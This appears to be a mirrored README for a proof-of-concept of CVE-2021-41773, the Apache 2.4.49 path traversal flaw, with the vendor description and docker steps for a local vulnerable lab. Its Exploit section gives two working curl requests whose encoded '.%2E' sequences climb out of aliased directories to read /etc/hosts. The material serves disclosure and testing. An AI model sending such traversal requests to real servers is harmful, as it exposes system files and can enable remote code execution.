CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Source

https://github.com/masahiro331/CVE-2021-41773

Associated Vulnerability

Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.

Readme

# CVE-2021-41773 (Apache httpd only 2.4.49)

For educational purposes only.

See Reference for the details.


## Run
```
$ git clone https://github.com/masahiro331/CVE-2021-41773.git
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run -d -p 8080:80 cve-2021-41773
```

## Exploit
```
# This vulnerability affects the use of Alias.
$ curl http://localhost:8080/cgi-bin/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
$ curl http://localhost:8080/webpath/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/hosts
```

## Reference

[Fixed commit](https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7)
[Vendor advisory](https://httpd.apache.org/security/vulnerabilities_24.html)

File Snapshot

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